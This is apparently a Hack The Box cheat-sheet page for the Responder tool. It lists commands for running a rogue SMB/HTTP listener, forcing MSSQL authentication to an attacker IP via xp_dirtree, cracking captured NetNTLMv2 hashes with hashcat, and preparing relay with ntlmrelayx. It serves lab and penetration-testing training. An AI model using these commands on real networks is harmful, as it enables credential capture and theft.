Responder
On HTB Responder is mostly used as a rogue SMB or HTTP server: you make the victim connect to \\your-ip\something (xp_dirtree, an .lnk, an include) and it captures their NetNTLMv2 hash to crack with hashcat (mode 5600).
- Platform
- Linux (Python)
- Official site
- github.com/lgandx/Responder
- On HTB
- 8 machines
Install
sudo apt install responderResponder cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Capturing hashes
Listen on the VPN interface
sudo responder -I tun0
Observe only, without poisoning
sudo responder -I tun0 -A
Force authentication from MSSQL
Target
EXEC master..xp_dirtree '\\10.10.14.5\share'
Crack the captured NetNTLMv2
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Turn off SMB and HTTP to relay with ntlmrelayx
sudo sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /etc/responder/Responder.confNo command matches.
HTB machines where Responder is used
Taken from the chapters of IppSec videos where Responder shows up. The ▶ link jumps to the minute of that part.
Guides that use Responder
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam 4 min read Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.